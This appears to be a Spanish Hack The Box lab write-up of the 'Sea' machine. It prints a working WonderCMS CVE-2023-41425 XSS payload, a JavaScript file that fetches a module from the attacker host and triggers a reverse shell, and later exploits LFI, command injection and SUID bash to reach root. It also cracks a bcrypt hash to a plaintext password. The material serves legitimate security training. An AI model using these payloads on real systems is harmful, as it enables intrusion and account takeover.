HTB - Sea | (Difficulty Easy) - Linux
Writeup de la máquina de dificultad fácil Sea de la página https://hackthebox.eu
Useful Skills
- Web enumeration
- Abusing XSS to RCE (WonderCMS 3.2.0 - CVE-2023-41425)
- Information Lekeage (Config server files)
- Cracking hashes (hashcat)
- SSH Local Port Forwarding
- Credentials Reuse
- Intercept web requests (BurpSuite)
- Local File Inclusion
- Blind OS Command Injection
Enumeration
TCP Scan
1
2
rustscan -a 10.10.11.28 --ulimit 5000 -g
10.10.11.28 -> [22,80]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nmap -p22,80 -sCV 10.10.11.28 -oN tcpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 21:37 CET
Nmap scan report for 10.10.11.28
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
UDP Scan
1
2
3
4
5
6
7
8
9
10
11
12
nmap -sU --top-ports 1500 --min-rate 5000 -n -Pn 10.10.11.28 -oN udpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 21:40 CET
Nmap scan report for 10.10.11.28
Host is up (0.041s latency).
Not shown: 1494 open|filtered udp ports (no-response)
PORT STATE SERVICE
515/udp closed printer
1000/udp closed ock
1234/udp closed search-agent
25003/udp closed icl-twobase4
33459/udp closed unknown
49193/udp closed unknown
HTTP Enumeration
Whatweb reporta que una cookie PHPSESSID y una versión de JQuery desactualizada.
1
2
whatweb http://10.10.11.28
http://10.10.11.28 [200 OK] Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.28], JQuery[1.12.4], Script, Title[Sea - Home], X-UA-Compatible[IE=edge]
Accediendo a la página en http://10.10.11.28
se puede observar una web de una empresa que organiza competiciones en bicicleta.
Existe una opción en el navbar para obtener información de como participar, se indica que hay que enviar lo datos a través de un formulario de contacto y se adjunta el enlace hacia el mismo.
Intento acceder al formulario de contacto pero el servidor me responde con que no se puede acceder a sea.htb, si reviso la URL y el codigo fuente se puede ver que se intenta redirigir hacia sea.htb.
Hay que añadir el dominio sea.htb en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 10.10.11.28
Intento acceder de nuevo y relleno los datos del formulario y acto seguido lo envío, pero de momento no encuentro niguna cosa interesante.
Utilizo gobuster para realizar enumeración de directorios exhaustiva
1
2
3
4
5
6
7
8
9
gobuster dir -u http://10.10.11.28 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 100 -b404,403 -q
/plugins (Status: 301) [Size: 235] [--> http://10.10.11.28/plugins/]
/themes (Status: 301) [Size: 234] [--> http://10.10.11.28/themes/]
/data (Status: 301) [Size: 232] [--> http://10.10.11.28/data/]
/404 (Status: 200) [Size: 3361]
/home (Status: 200) [Size: 3670]
/. (Status: 200) [Size: 3670]
/messages (Status: 301) [Size: 236] [--> http://10.10.11.28/messages/]
/0 (Status: 200) [Size: 3670]
1
2
3
gobuster dir -u http://10.10.11.28/plugins -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 200 -b403,404 -q
/home (Status: 200) [Size: 3670]
/404 (Status: 200) [Size: 3361]
1
2
3
4
gobuster dir -u http://10.10.11.28/themes -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 200 -b403,404 -q
/home (Status: 200) [Size: 3670]
/404 (Status: 200) [Size: 3361]
/bike (Status: 301) [Size: 239] [--> http://10.10.11.28/themes/bike/]
1
2
3
4
5
6
7
gobuster dir -u http://10.10.11.28/themes/bike -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b403,404 -q
/home (Status: 200) [Size: 3670]
/version (Status: 200) [Size: 6]
/css (Status: 301) [Size: 243] [--> http://10.10.11.28/themes/bike/css/]
/summary (Status: 200) [Size: 66]
/404 (Status: 200) [Size: 3361]
/LICENSE (Status: 200) [Size: 1067
En los escaneos obtengo dos recursos que me parecen muy interesantes, uno es /version donde puede que exista información sobre versiones, y por otro lado LICENSE que es un archivo que no se suele ver en directorios y que lo asocio a repositorios de GitHub.
Accedo a /themes/bike/version y puedo observar un número de version el cual es 3.2.0, pero nose a que se asocia dicha versión.
Accedo a /themes/bike/LICENSE y puedo observar una licencia MIT que hace referencia a un usuario llamado turboblack
Podría dirigirme a github y buscar el usuario turboblack, pero antes que nada supongo que si hay un archivo LICENSE deberá de existir un archivo README.md
Sabiendo que es WonderCMS y que la versión es 3.2.0 puedo buscar información sobre posibles vulnerabilidades existentes
Vulnerability analysis
CVE-2023-41425 (WonderCMS Remote Code Execution)
Una pequeña búsqueda en internet me permite dar con la vulnerabilidad CVE-2023-41425, se trata de un Cross-Site-Scripting que permite a un atacante ejecutar código arbitrario a través de un script malicioso cargado en el componente installModule.
La vulnerabilidad CVE-2023-41425 abarca desde WonderCMS v.3.2.0 hasta v.3.4.2
Exploitation
Abusing WonderCMS RCE Vulnerability (CVE-2023-41425)
En GitHub encuentro un repositorio sobre la vulnerabilidad CVE-2023-41425 el cual me sirven de guía para realizar la explotación de forma manual y entender como funciona todo.
Se necesita la URL donde WonderCMS está instalado y crear un archivo xss.js el cual ya se proporciona en el repositorio de GitHub
Analizando el exploit de Python encuentro que WonderCMS se encuentra instalado en http://sea.htb/loginURL
Descargo los archivo xss.js y main.zip, modifico el script xss.js para que se encuentre acorde a mi dirección ip y el puerto por el que quiero obtener la reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
var url = "http://sea.htb/loginURL";
// Create a URL object to properly manipulate the URL
var parsedUrl = new URL(url);
// Remove the last part of the path
var urlWithoutLogBase = parsedUrl.origin + parsedUrl.pathname.split("/").slice(0, -1).join("/");
// Get the token value from the DOM
var token = document.querySelector('[name="token"]').value;
// Construct the URL for the module installation
var urlRev = urlWithoutLogBase + "/?installModule=http://10.10.14.160:8000/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
if (xhr3.status == 200) {
// After the module is installed, trigger the reverse shell
var xhr4 = new XMLHttpRequest();
xhr4.withCredentials = true;
xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
xhr4.send();
xhr4.onload = function() {
if (xhr4.status == 200) {
// If the reverse shell is accessible, trigger it with IP and port
var ip = "10.10.14.160";
var port = "1234";
var xhr5 = new XMLHttpRequest();
xhr5.withCredentials = true;
xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
xhr5.send();
}
};
}
};
Levanto un servidor en Python para que cuando el administrador acceda al enlace realice una petición a mi archivo malicioso xss.js
1
2
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Utilizo netcat para iniciar un listener por el puerto 1234 y obtener una reverse shell
1
2
nc -lvnp 1234
listening on [any] 1234
Accedo al formulario de contacto y relleno los datos, en el campo website introduzco el payload que se especifica en el exploit de Python.
Payload: http://sea.htb/index.php?page=loginURL?”></form><script+src=”http://10.10.14.160:8000/xss.js”></script><form+action=
Se realizan la peticion desde la máquina victima y al cargarse el archivo xss.js obtengo la reverse shell como el usuario www-data
1
2
3
4
5
6
7
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [15/Jan/2025 18:39:04] "GET /xss.js HTTP/1.1" 200 -
10.10.11.28 - - [15/Jan/2025 18:39:13] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [15/Jan/2025 18:39:13] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [15/Jan/2025 18:39:14] "GET /main.zip HTTP/1.1" 200 -
10.10.11.28 - - [15/Jan/2025 18:39:14] "GET /main.zip HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.160] from (UNKNOWN) [10.10.11.28] 51998
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
17:52:05 up 1:12, 0 users, load average: 0.10, 0.77, 1.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Post exploitation
User Pivoting
Obtengo acceso al sistema como el usuario www-data, este es un usuario con bajo privilegios por lo que debo de buscar alguna manera de pivotar hacia otro usuario. Comenzaré visualizando cuales son los usuarios que existen en el sistema.
1
2
3
4
www-data@sea:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash
WonderCMS debe de contener sus archivos en algun lado y seguramente existan archivos de configuración los cuales puedan contener información sensible, investigando encuentro un hash de una contraseña en /var/www/sea/data/database.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@sea:/var/www/sea/data$ cat database.js
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
"2025\/01\/15 17:58:23": "127.0.0.1",
"2025\/01\/15 17:54:23": "127.0.0.1",
"2025\/01\/15 17:54:22": "127.0.0.1",
"2025\/01\/15 17:51:52": "127.0.0.1",
"2025\/01\/15 17:50:42": "127.0.0.1"
},
Identifico el hash con hashcat y veo que se trata de bcrypt que utiliza el modo 3200.
1
2
3
4
5
6
7
8
hashcat hash
============================================================================================================
# | Name | Category
======+============================================================+========================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Comme
Utiliza hashcat para crackear el hash con el modo 3200 y obtengo la contraseña.
1
2
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
Intento acceder via SSH con la contraseña obtenida probando con los usuarios root, amay y geo, permitiendome acceder con el usuario amay.
1
2
3
4
ssh amay@10.10.11.28
amay@10.10.11.28's password:
amay@sea:~$ whoami
amay
Privilege escalation
Utilizo el comando netstat para mostrar información sobre las conexiones de red y puertos en uso
1
2
3
4
5
6
7
8
9
10
11
www-data@sea:/$ netstat -tulpen
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 0 91980 -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 27595 -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 26746 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 28129 -
tcp 0 0 127.0.0.1:55961 0.0.0.0:* LISTEN 1001 30315 -
tcp6 0 0 :::22 :::* LISTEN 0 28131 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 101 26745 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 22814 -
Visualizo que se encuentra el puerto 8080 el cual no se veía en el escaneo de inicial de puertos, observo tambien que lo corre el usuario con UID 0, es decir root, utilizo ssh para realizar un local port forwarding y traer el puerto 8080 de la máquina a mi puerto 8080.
1
ssh -L 8080:127.0.0.1:8080 amay@10.10.11.28 -N
Al acceder a http://127.0.0.1:8080 encuentro un panel de autenticación básica de usuario y contraseña
Pruebo con las credenciales ssh amay:mychemicalromance y consigo acceder a un panel de monitorización del sistema, donde se permiten realizar diferentes acciones como ver el uso del disco, actualizar el sistema, limpiar y visualizar los logs de apache y ssh entre otras cosas
Hago clic sobre analizar los logs de apache, y visualizo en el apartado Network de las herramienta de desarrollo una petición por POST, se incluyen el parámetro log_file donde se apunta hacia el archivo de los logs de apache /var/log/apache2/access.log
Intercepto la petición con BurpSuite e intento acontecer un Local File Inclusion apuntando hacia otro recurso del sistema como por ejemplo el archivo /etc/passwd, lo que me permite ver que es vulnerable a LFI.
Intenté realizar un envenenamiento de los logs de apache para realizar un LFI to RCE pero no obtuve exito, ahora intentaré realizar una inyección de comandos, intentando inyectar un punto y coma y enviar un ping a mi máquina de atacante pudiendo ver si obtengo la traza icmp poniendome en escucha con tcpdump.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
tcpdump -i tun0 -vn icmp
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:50:17.458039 IP (tos 0x0, ttl 63, id 37768, offset 0, flags [DF], proto ICMP (1), length 84)
10.10.11.28 > 10.10.14.160: ICMP echo request, id 2, seq 1, length 64
21:50:17.458076 IP (tos 0x0, ttl 64, id 34405, offset 0, flags [none], proto ICMP (1), length 84)
10.10.14.160 > 10.10.11.28: ICMP echo reply, id 2, seq 1, length 64
21:50:18.458908 IP (tos 0x0, ttl 63, id 37874, offset 0, flags [DF], proto ICMP (1), length 84)
10.10.11.28 > 10.10.14.160: ICMP echo request, id 2, seq 2, length 64
21:50:18.458930 IP (tos 0x0, ttl 64, id 34645, offset 0, flags [none], proto ICMP (1), length 84)
10.10.14.160 > 10.10.11.28: ICMP echo reply, id 2, seq 2, length 64
21:50:19.460592 IP (tos 0x0, ttl 63, id 38066, offset 0, flags [DF], proto ICMP (1), length 84)
10.10.11.28 > 10.10.14.160: ICMP echo request, id 2, seq 3, length 64
21:50:19.460616 IP (tos 0x0, ttl 64, id 34909, offset 0, flags [none], proto ICMP (1), length 84)
10.10.14.160 > 10.10.11.28: ICMP echo reply, id 2, seq 3, length 64
Puedo ver que si recibe las trazas icmp, por lo que sabiendo esto perfectamente me podría envíar una shell hacia mi máquina de atacante o dar permisos SUID al binario /bin/bash.
1
2
3
www-data@sea:/$ ls -l /bin/bash
-rwsrwxrwx 1 root root 1183448 Apr 18 2022 /bin/bash
www-data@sea:/$
1
2
3
www-data@sea:/$ /bin/bash -p
bash-5.0# whoami
root